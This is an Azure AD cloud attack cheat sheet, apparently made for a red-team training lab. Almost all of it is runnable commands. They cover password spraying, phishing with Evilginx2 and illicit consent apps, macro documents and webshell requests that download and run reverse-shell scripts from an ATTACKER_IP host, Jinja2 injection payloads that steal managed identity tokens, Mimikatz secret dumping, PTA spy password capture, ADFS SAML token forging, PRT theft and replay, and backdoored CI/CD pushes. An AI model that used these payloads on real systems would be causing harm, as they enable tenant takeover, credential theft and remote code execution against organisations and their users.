// 01
Azure AD Discovery & Recon
Tenant Discovery (Unauthenticated)
URLs / API
# Check if tenant exists & get federation info https://login.microsoftonline.com/getuserrealm.srf?login=<USER>@<DOMAIN>&xml=1 # Get Tenant ID https://login.microsoftonline.com/<DOMAIN>/.well-known/openid-configuration # Validate email IDs https://login.microsoftonline.com/common/GetCredentialType
AADInternals - Tenant Enumeration
PowerShell
# Import AADInternals Import-Module C:\AzAD\Tools\AADInternals\AADInternals.psd1 -Verbose # Get tenant name, authentication, brand name and domain Get-AADIntLoginInformation -UserName <USER>@<DOMAIN> # Get Tenant ID Get-AADIntTenantID -Domain <DOMAIN> # Get all tenant domains Get-AADIntTenantDomains -Domain <DOMAIN> # Full external reconnaissance Invoke-AADIntReconAsOutsider -DomainName <DOMAIN>
Email Discovery & Subdomain Enumeration
PowerShell
# o365creeper - Validate emails C:\Python27\python.exe C:\AzAD\Tools\o365creeper\o365creeper.py -f C:\AzAD\Tools\email.txt -o C:\AzAD\Tools\validemails.txt # MicroBurst - Enumerate Azure subdomains Import-Module C:\AzAD\Tools\MicroBurst\MicroBurst.psm1 -Verbose Invoke-EnumerateAzureSubDomains -Base <TARGET_BASE> -Verbose # MicroBurst - Enumerate Azure Blobs . C:\AzAD\Tools\MicroBurst\Misc\Invoke-EnumerateAzureBlobs.ps1 Invoke-EnumerateAzureBlobs -Base <TARGET_BASE>
// 02
User & Group Enumeration
AzureAD Module - Connect & User Enumeration
PowerShell
# Import and connect Import-Module C:\AzAD\Tools\AzureAD\AzureAD.psd1 $passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential("<USER>@<DOMAIN>", $passwd) Connect-AzureAD -Credential $creds # Get current session info Get-AzureADCurrentSessionInfo Get-AzureADTenantDetail # Enumerate all users Get-AzureADUser -All $true Get-AzureADUser -ObjectId <USER>@<DOMAIN> | fl * Get-AzureADUser -SearchString "admin" Get-AzureADUser -All $true | ?{$_.DisplayName -match "admin"} # Users synced from on-prem (has on-prem SID) Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null} # Cloud-only users (no on-prem SID) Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null} # Objects created/owned by a user Get-AzureADUser | Get-AzureADUserCreatedObject Get-AzureADUserOwnedObject -ObjectId <USER>@<DOMAIN>
Group Enumeration
PowerShell
# List all groups Get-AzureADGroup -All $true Get-AzureADGroup -SearchString "admin" | fl * # Dynamic Membership groups Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'} # Groups synced from on-prem vs cloud-only Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null} Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null} # Members of a group Get-AzureADGroupMember -ObjectId <GROUP_ID> # Groups and roles where user is member Get-AzureADUserMembership -ObjectId <USER>@<DOMAIN>
Device Enumeration
PowerShell
# All devices Get-AzureADDevice -All $true Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null} # Device owners and registered users Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser # Devices owned/registered by a user Get-AzureADUserOwnedDevice -ObjectId <USER>@<DOMAIN> Get-AzureADUserRegisteredDevice -ObjectId <USER>@<DOMAIN> # Intune managed devices Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
// 03
Applications & Service Principals
Application Enumeration
PowerShell
# All application objects Get-AzureADApplication -All $true Get-AzureADApplication -All $true | ?{$_.DisplayName -match "app"} # Application password credentials Get-AzureADApplicationPasswordCredential # Owner of an application Get-AzureADApplication -ObjectId <APP_OBJECT_ID> | Get-AzureADApplicationOwner | fl * # Apps where user has a role Get-AzureADUser -ObjectId <USER>@<DOMAIN> | Get-AzureADUserAppRoleAssignment | fl * # Apps where group has a role Get-AzureADGroup -ObjectId <GROUP_ID> | Get-AzureADGroupAppRoleAssignment | fl *
Service Principal Enumeration
PowerShell
# All service principals Get-AzureADServicePrincipal -All $true Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -match "app"} # SPs with key credentials (password) Get-AzureADServicePrincipal -All $true | %{if(Get-AzureADServicePrincipalKeyCredential -ObjectID $_.ObjectID){$_}} # Owner of a service principal Get-AzureADServicePrincipal -ObjectId <SP_ID> | Get-AzureADServicePrincipalOwner | fl * # Objects owned/created by SP Get-AzureADServicePrincipal -ObjectId <SP_ID> | Get-AzureADServicePrincipalOwnedObject Get-AzureADServicePrincipal -ObjectId <SP_ID> | Get-AzureADServicePrincipalCreatedObject # Group/role membership of SP Get-AzureADServicePrincipal -ObjectId <SP_ID> | Get-AzureADServicePrincipalMembership | fl *
// 04
Administrative Roles & RBAC
Directory Roles
PowerShell
# All role templates Get-AzureADDirectoryRoleTemplate # Enabled roles Get-AzureADDirectoryRole # Members of Global Administrator role Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember # Custom directory roles (AzureADPreview) Import-Module C:\AzAD\Tools\AzureADPreview\AzureADPreview.psd1 Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $false} | select DisplayName
Administrative Units
PowerShell
# Enumerate Administrative Units Get-AzureADMSAdministrativeUnit # Members of an AU Get-AzureADMSAdministrativeUnit -Id <AU_ID> Get-AzureADMSAdministrativeUnitMember -Id <AU_ID> # Scoped role membership of an AU Get-AzureADMSScopedRoleMembership -Id <AU_ID> | fl *
Azure RBAC Role Assignments
PowerShell
# All Azure RBAC role assignments Get-AzRoleAssignment # Role assignments for a specific user Get-AzRoleAssignment -SignInName <USER>@<DOMAIN> # Role assignments for a resource scope Get-AzRoleAssignment -Scope <RESOURCE_ID> # Get role definition details Get-AzRoleDefinition -Name "<ROLE_NAME>"
// 05
Az PowerShell Enumeration
Connect & Context
PowerShell
# Connect with credentials $creds = Get-Credential Connect-AzAccount -Credential $creds # Current context and subscriptions Get-AzContext Get-AzContext -ListAvailable Get-AzSubscription
Resource Enumeration
PowerShell
# All resources visible to current user Get-AzResource # Users and groups Get-AzADUser Get-AzADUser -UserPrincipalName <USER>@<DOMAIN> Get-AzADUser -SearchString "admin" Get-AzADGroup Get-AzADGroupMember -ObjectId <GROUP_ID> # Application and service principal objects Get-AzADApplication Get-AzADServicePrincipal # VMs, Web Apps, Functions, Storage, KeyVault Get-AzVM | fl Get-AzWebApp Get-AzFunctionApp Get-AzStorageAccount | fl Get-AzKeyVault # Resource groups Get-AzResourceGroup
// 06
Azure CLI Enumeration
Login & Account Info
Bash / CMD
# Login with credentials az login -u <USER>@<DOMAIN> -p <PASSWORD> # Login without subscription az login -u <USER>@<DOMAIN> -p <PASSWORD> --allow-no-subscriptions # Login with Managed Identity az login --identity # Tenant and subscription info az account tenant list az account subscription list az ad signed-in-user show
User, Group & App Enumeration
Bash / CMD
# Users az ad user list --output table az ad user list --query "[].{UPN:userPrincipalName, Name:displayName}" --output table az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName" # Groups az ad group list az ad group show -g "<GROUP_NAME>" az ad group member list -g "<GROUP_NAME>" --query "[].[displayName]" -o table # Applications & Service Principals az ad app list --query "[].[displayName]" -o table az ad app owner list --id <APP_ID> az ad sp list --all --query "[].[displayName]" -o table az ad sp owner list --id <SP_ID> --query "[].[displayName]" -o table # VMs and KeyVaults az vm list az keyvault list az keyvault secret list --vault-name <VAULT_NAME> az keyvault secret show --name <SECRET_NAME> --vault-name <VAULT_NAME> # Role assignments az role assignment list --all --assignee "<OBJECT_ID>"
// 07
Tokens & API Access
Get Access Tokens
PowerShell
# Get ARM Access Token Get-AzAccessToken (Get-AzAccessToken).Token # Get MS Graph Access Token Get-AzAccessToken -ResourceTypeName MSGraph (Get-AzAccessToken -Resource "https://graph.microsoft.com").Token # Az CLI - Get tokens az account get-access-token az account get-access-token --resource-type aad-graph
Connect with Tokens
PowerShell
# Connect Az with Access Token Connect-AzAccount -AccountId <ACCOUNT_ID> -AccessToken <ACCESS_TOKEN> # Connect with both ARM and Graph tokens Connect-AzAccount -AccountId <ACCOUNT_ID> -AccessToken <ARM_TOKEN> -MicrosoftGraphAccessToken <GRAPH_TOKEN> # Connect with Access Token + KeyVault Token Connect-AzAccount -AccessToken <ARM_TOKEN> -AccountId <ACCOUNT_ID> -KeyVaultAccessToken <KEYVAULT_TOKEN> # Connect AzureAD with AAD Graph token Connect-AzureAD -AadAccessToken <AAD_TOKEN> -TenantId <TENANT_ID> -AccountId <OBJECT_ID>
REST API Calls
PowerShell
# List subscriptions via REST $Token = "<ACCESS_TOKEN>" $URI = "https://management.azure.com/subscriptions?api-version=2020-01-01" $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" } } (Invoke-RestMethod @RequestParams).value # List resources in a subscription $URI = "https://management.azure.com/subscriptions/<SUB_ID>/resources?api-version=2020-10-01" # Check permissions on a resource $URI = "https://management.azure.com/<RESOURCE_ID>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01" # MS Graph API call $URI = "https://graph.microsoft.com/v1.0/users"
Tokens are cached in C:\Users\<USERNAME>\.Azure - Check for saved tokens with Save-AzContext
// 08
Password Spray & Credential Attacks
MSOLSpray - Password Spraying
PowerShell
# MSOLSpray - Brute force Azure AD
. C:\AzAD\Tools\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList C:\AzAD\Tools\validemails.txt -Password "<PASSWORD>" -VerboseExtract Credentials from History/Transcripts
PowerShell
# PowerShell command history cat C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt # PowerShell transcripts cat C:\Transcripts\<DATE>\PowerShell_transcript.<HOSTNAME>.*.txt
// 09
Phishing & Illicit Consent
Illicit Consent Grant Attack
PowerShell
# Check if users can consent to apps (AzureADPreview) (Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole # If output = ManagePermissionGrantsForSelf.microsoft-user-default-legacy -> users can consent # 365-Stealer setup # 1. Register multitenant app with redirect URI https://<ATTACKER_IP>/login/authorized # 2. Add Delegated permissions: user.read, User.ReadBasic.All # 3. Create client secret # 4. Run XAMPP + copy 365-stealer to C:\xampp\htdocs # 5. Configure CLIENTID, REDIRECTURL, CLIENTSECRET # 6. Send phishing link to target
Evilginx2 - Token Phishing
CMD
# Evilginx2 setup evilginx2 -p C:\AzAD\Tools\evilginx2\phishlets config domain <ATTACKER_DOMAIN> config ip <ATTACKER_IP> phishlets hostname o365 login.<ATTACKER_DOMAIN> phishlets get-hosts o365 phishlets enable o365 # Create lure and get phishing URL lures create o365 lures get-url 0
Macro RCE via Phishing
PowerShell
# Create malicious Word document iex (New-Object Net.Webclient).downloadstring("http://<ATTACKER_IP>:82/Out-Word.ps1") Out-Word -Payload "powershell iex (New-Object Net.Webclient).downloadstring('http://<ATTACKER_IP>:82/Invoke-PowerShellTcp.ps1');Power -Reverse -IPAddress <ATTACKER_IP> -Port 4444" -OutputFile <OUTPUT>.doc # Upload via 365-Stealer python 365-Stealer.py --refresh-user <TARGET_USER>@<DOMAIN> --upload C:\AzAD\Tools\<FILE>.doc # Catch reverse shell C:\AzAD\Tools\netcat-win32-1.12\nc.exe -lvp 4444
// 10
Privilege Escalation
Dynamic Group Abuse
PowerShell
# Check for Dynamic Membership groups Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'} # Abuse: change user email to match dynamic rule # Example: if rule matches "*vendor*" in OtherMails Connect-AzureAD -Credential $creds -TenantId <TENANT_ID> Set-AzureADUser -ObjectId <USER_OBJECT_ID> -OtherMails <MATCHING_EMAIL> -Verbose
Service Principal Secret Addition
PowerShell
# Add secret to Enterprise Apps we can abuse . C:\AzAD\Tools\Add-AzADAppSecret.ps1 Add-AzADAppSecret -GraphToken $graphtoken -Verbose # If we are owner of an app, add password credential Get-AzureADApplicationOwner -ObjectId <APP_OBJECT_ID> New-AzureADApplicationPasswordCredential -ObjectId <APP_OBJECT_ID> # Login as service principal with new secret az login --service-principal -u <APP_ID> -p <APP_SECRET> -t <TENANT_ID> # Check API permissions of the app $app = Get-AzureADApplication -ObjectId <APP_OBJECT_ID> $app.RequiredResourceAccess | ConvertTo-Json -Depth 3
User Data Extraction from VM
PowerShell
# Extract user data from VM metadata endpoint
$userData = Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))// 11
Lateral Movement
VM Command Execution
PowerShell
# Execute command on Azure VM (Az PowerShell) Invoke-AzVMRunCommand -VMName <VM_NAME> -ResourceGroupName <RG_NAME> -CommandId 'RunPowerShellScript' -ScriptPath '<SCRIPT_PATH>' -Verbose # Execute command on Azure VM (Az CLI) az vm run-command invoke --resource-group <RG_NAME> -n <VM_NAME> --command-id RunPowerShellScript --scripts "<COMMAND>" # Get VM public IP Get-AzVM -Name <VM_NAME> -ResourceGroupName <RG_NAME> | select -ExpandProperty NetworkProfile Get-AzNetworkInterface -Name <NIC_NAME> Get-AzPublicIpAddress -Name <IP_NAME>
Add Local Admin via VM Extension
PowerShell
# Check existing VM extensions Get-AzVMExtension -ResourceGroupName "<RG_NAME>" -VMName "<VM_NAME>" # Modify extension to add local admin Set-AzVMExtension -ResourceGroupName "<RG_NAME>" -ExtensionName "ExecCmd" -VMName "<VM_NAME>" -Location "<LOCATION>" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users <USERNAME> <PASSWORD> /add /Y; net localgroup administrators <USERNAME> /add"}' # Connect via PSRemoting $password = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential('<USERNAME>', $password) $sess = New-PSSession -ComputerName <VM_IP> -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) Enter-PSSession $sess
Check Azure AD Join Status
CMD
# Check if machine is Azure AD joined dsregcmd /status # Look for AzureAdJoined: YES
// 12
Azure AD Connect Abuse
PHS (Password Hash Sync) Abuse
PowerShell
# On the AD Connect server, extract sync credentials Import-Module C:\Users\Administrator\Documents\AADInternals\AADInternals.psd1 Get-AADIntSyncCredentials # Extracts MSOL_* and Sync_* account credentials # Use Sync account to get AADGraph access token $passwd = ConvertTo-SecureString '<SYNC_PASSWORD>' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential ("<SYNC_ACCOUNT>@<DOMAIN>", $passwd) Get-AADIntAccessTokenForAADGraph -Credentials $creds -SaveToCache # Get ImmutableId of target user Get-AADIntUser -UserPrincipalName <TARGET_USER>@<DOMAIN> | select ImmutableId # Reset user password using Sync account Set-AADIntUserPassword -SourceAnchor "<IMMUTABLE_ID>" -Password "<NEW_PASSWORD>" -Verbose
PTA (Pass-Through Auth) Spy
PowerShell
# On the PTA server, install PTA spy Import-Module C:\Users\<ADMIN>\Documents\AADInternals\AADInternals.psd1 Install-AADIntPTASpy # Capture passwords in cleartext Get-AADIntPTASpyLog -DecodePasswords
ADFS Token Forging
PowerShell
# On the ADFS server, export signing certificate Export-AADIntADFSSigningCertificate # Get ImmutableID of target on-prem user Import-Module C:\AzAD\Tools\ADModule\Microsoft.ActiveDirectory.Management.dll [System.Convert]::ToBase64String((Get-ADUser -Identity <ON_PREM_USER> -Server <DC_IP> -Credential $creds | select -ExpandProperty ObjectGUID).tobytearray()) # Forge SAML token and open portal Open-AADIntOffice365Portal -ImmutableID <IMMUTABLE_ID> -Issuer http://<ADFS_DOMAIN>/adfs/services/trust -PfxFileName C:\users\<ADMIN>\Documents\ADFSSigningCertificate.pfx -Verbose # Copy generated HTML to student VM and open in browser Copy-Item -FromSession $adfs -Path C:\Users\<ADMIN>\AppData\Local\Temp\*.tmp.html -Destination C:\AzAD\Tools\
// 13
Azure Resources Abuse
Storage Account & Blob Abuse
PowerShell
# Enumerate storage accounts Get-AzStorageAccount | fl # Enumerate blobs . C:\AzAD\Tools\MicroBurst\Misc\Invoke-EnumerateAzureBlobs.ps1 Invoke-EnumerateAzureBlobs -Base <TARGET_BASE> # List containers in storage account Get-AzStorageContainer -Context (Get-AzStorageAccount -Name <STORAGE_NAME> -ResourceGroupName <RG_NAME>).Context # If SAS URL is available, use Azure Storage Explorer to download
Key Vault Access
PowerShell
# Connect with KeyVault token Connect-AzAccount -AccessToken <ARM_TOKEN> -AccountId <ACCOUNT_ID> -KeyVaultAccessToken <VAULT_TOKEN> # Enumerate Key Vaults Get-AzKeyVault # List secrets Get-AzKeyVaultSecret -VaultName <VAULT_NAME> # Read secret value in plaintext Get-AzKeyVaultSecret -VaultName <VAULT_NAME> -Name <SECRET_NAME> -AsPlainText
App Service SSTI (Server-Side Template Injection)
Jinja2 / Python
# Enumerate config variables {{config.items()}} # Execute OS commands {{config.__class__.__init__.__globals__['os'].popen('whoami').read()}} # Read environment variables (look for IDENTITY_ENDPOINT, IDENTITY_HEADER) {{config.__class__.__init__.__globals__['os'].popen('env').read()}} # Request ARM token via Managed Identity {{config.__class__.__init__.__globals__['os'].popen('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER').read()}} # Request KeyVault token via Managed Identity {{config.__class__.__init__.__globals__['os'].popen('curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER').read()}}
App Service - File Upload Shell
PowerShell
# Upload webshell (.phtml) to app service # Access: https://<APP_NAME>.azurewebsites.net/uploads/<SHELL>.phtml?cmd=env # Look for IDENTITY_ENDPOINT, IDENTITY_HEADER and client_id # Connect with extracted token Connect-AzAccount -AccessToken <TOKEN> -AccountId <CLIENT_ID>
// 14
Automation Account Abuse
Enumerate Automation Accounts
PowerShell / CLI
# List Automation Accounts az automation account list # Check objects owned by current user az ad signed-in-user list-owned-objects # If user can be added to Automation Admins group Add-AzureADGroupMember -ObjectId <GROUP_ID> -RefObjectId <USER_OBJECT_ID> -Verbose # Check role on Automation Account (look for Contributor) Get-AzRoleAssignment -Scope <AUTOMATION_ACCOUNT_RESOURCE_ID> # Check Hybrid Worker Groups Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AA_NAME> -ResourceGroupName <RG_NAME>
Runbook Import, Publish & Execute
PowerShell
# Import runbook Import-AzAutomationRunbook -Name <RUNBOOK_NAME> -Path <PS1_PATH> -AutomationAccountName <AA_NAME> -ResourceGroupName <RG_NAME> -Type PowerShell -Force -Verbose # Publish runbook Publish-AzAutomationRunbook -RunbookName <RUNBOOK_NAME> -AutomationAccountName <AA_NAME> -ResourceGroupName <RG_NAME> -Verbose # Start runbook on Hybrid Worker Start-AzAutomationRunbook -RunbookName <RUNBOOK_NAME> -RunOn <WORKER_GROUP> -AutomationAccountName <AA_NAME> -ResourceGroupName <RG_NAME> -Verbose # Catch reverse shell C:\AzAD\Tools\netcat-win32-1.12\nc.exe -lvp 4444
Az CLI - Runbook Privilege Escalation
Bash / CMD
# Create runbook via CLI az automation runbook create --automation-account-name "<AA_NAME>" --resource-group "<RG_NAME>" --name "<RUNBOOK_NAME>" --type "PowerShell" --location "<LOCATION>" # Replace runbook content with privesc script az automation runbook replace-content --automation-account-name "<AA_NAME>" --resource-group "<RG_NAME>" --name "<RUNBOOK_NAME>" --content privesc.ps1 # Publish and start az automation runbook publish --automation-account-name "<AA_NAME>" --resource-group "<RG_NAME>" --name "<RUNBOOK_NAME>" az automation runbook start --automation-account-name "<AA_NAME>" --resource-group "<RG_NAME>" --name "<RUNBOOK_NAME>"
Privesc script example: Use Connect-AzAccount -Identity then New-AzRoleAssignment to grant Owner role to your user ObjectId on the subscription scope.
// 15
Advanced Enumeration Tools
ROADTools
CMD / Python
# ROADRecon - Azure AD enumeration cd C:\AzAD\Tools\ROADTools pipenv shell # Authenticate roadrecon auth -u <USER>@<DOMAIN> -p <PASSWORD> # Gather data and launch GUI roadrecon gather roadrecon gui
Stormspotter
CMD / Python
# Start backend cd C:\AzAD\Tools\stormspotter\backend pipenv shell python ssbackend.pyz # Start frontend (new terminal) cd C:\AzAD\Tools\stormspotter\frontend\dist\spa quasar.cmd serve -p 9091 --history # Collect data (new terminal) cd C:\AzAD\Tools\stormspotter\stormcollector pipenv shell az login -u <USER>@<DOMAIN> -p <PASSWORD> python C:\AzAD\Tools\stormspotter\stormcollector\sscollector.pyz
AzureHound & BloodHound Neo4j Queries
PowerShell / Cypher
# Run AzureHound Connect-AzAccount -Credential $creds Connect-AzureAD -Credential $creds . C:\AzAD\Tools\AzureHound\AzureHound.ps1 Invoke-AzureHound -Verbose # Neo4j Cypher Queries: # Find all Global Administrators MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p # Find all paths to an Azure VM MATCH p = (n)-[r]->(g:AZVM) RETURN p # Find all paths to an Azure KeyVault MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p # Find all paths to an Azure Resource Group MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p # Find Owners of Azure Groups MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
// 16
PRT Attacks
Request Nonce
PowerShell
# Request a nonce for PRT
$TenantId = "<TENANT_ID>"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
$Params = @{
"URI" = $URL
"Method" = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.NonceExtract PRT with ROADToken
PowerShell
# Send tools to target Copy-Item -ToSession $sess -Path C:\AzAD\Tools\ROADToken.exe -Destination C:\Users\Public\ -Verbose Copy-Item -ToSession $sess -Path C:\AzAD\Tools\PsExec64.exe -Destination C:\Users\Public\ -Verbose Copy-Item -ToSession $sess -Path C:\AzAD\Tools\SessionExecCommand.exe -Destination C:\Users\Public\ -Verbose # Extract PRT using target user's session (run as SYSTEM) Invoke-Command -Session $sess -ScriptBlock{C:\Users\Public\PsExec64.exe -accepteula -s "cmd.exe" "/c C:\Users\Public\SessionExecCommand.exe <TARGET_USER> C:\Users\Public\ROADToken.exe <NONCE> > C:\Users\Public\PRT.txt"}
Use PRT as Cookie
Browser
# 1. Navigate to https://login.microsoftonline.com/login.srf # 2. Clear ALL cookies in browser # 3. Add cookie: x-ms-RefreshTokenCredential = <PRT_TOKEN> # 4. Set cookie flags: HTTPOnly = true, Secure = true # 5. Visit https://login.microsoftonline.com/login.srf again # 6. You are now logged in as the target user
// 17
App Proxy & Intune Abuse
Application Proxy Enumeration
PowerShell
# Enumerate Application Proxy apps Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}} # Get service principal for the app Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "<APP_NAME>"} # Get assigned users and groups . C:\AzAD\Tools\Get-ApplicationProxyAssignedUsersAndGroups.ps1 Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <SP_OBJECT_ID>
Shell Upload via App Proxy
PowerShell
# If app has file upload, upload webshell # Access via proxy URL: https://<APP_PROXY_URL>/dist/uploads/<SHELL>.phtml?cmd=powershell iex (New-Object Net.Webclient).downloadstring('http://<ATTACKER_IP>:82/Invoke-PowerShellTcp.ps1');Power -Reverse -IPAddress <ATTACKER_IP> -Port 4444 # Extract secrets from compromised machine iex (New-Object Net.Webclient).DownloadString("http://<ATTACKER_IP>:82/Invoke-Mimikatz.ps1") Invoke-Mimikatz -Command '"token::elevate" "lsadump::secrets"'
Intune Script Deployment
Portal
# As Intune Administrator: # 1. Go to https://endpoint.microsoft.com/#home # 2. Navigate to Devices -> All Devices (check enrolled devices) # 3. Go to Scripts and click Add for Windows 10 # 4. Upload PowerShell script (e.g., add_user.ps1) # 5. In Assignments select Add All Users -> Add All Devices # Script executes as SYSTEM on enrolled devices
// 18
GitHub & Function App Exploitation
Function App Token Extraction
Python / PowerShell
# Modify function code to extract Managed Identity token import logging, os import azure.functions as func def main(req: func.HttpRequest) -> func.HttpResponse: logging.info('Python HTTP trigger function processed a request.') IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT'] IDENTITY_HEADER = os.environ['IDENTITY_HEADER'] cmd = 'curl "%s?resource=https://management.azure.com&api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER) val = os.popen(cmd).read() return func.HttpResponse(val, status_code=200) # Use extracted token (get client_id as AccountId) Connect-AzAccount -AccessToken <FUNCTION_TOKEN> -AccountId <CLIENT_ID>
CI/CD Abuse via GitHub
Bash / Git
# If we have SSH keys for a GitHub account mkdir C:\Users\<USER>\.ssh copy C:\AzAD\Tools\id_rsa C:\Users\<USER>\.ssh\id_rsa ssh -T git@github.com # Clone repository linked to Function App git clone git@github.com:<ORG>/<REPO>.git # Modify function code or add malicious user JSON # Example: create user via Function App trigger git add . git config --global user.email "<COMPROMISED_EMAIL>" git config --global user.name "<COMPROMISED_USER>" git commit -m "Update" git push # Trigger the Function App # https://<FUNCTION_APP>.azurewebsites.net/api/<FUNCTION_NAME>?id=
Resource Group Deployment Secrets
PowerShell
# List resource groups Get-AzResourceGroup # List deployments (may contain credentials) Get-AzResourceGroupDeployment -ResourceGroupName <RG_NAME> # Download deployment template (search for hardcoded creds) Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RG_NAME> -DeploymentName <DEPLOYMENT_NAME>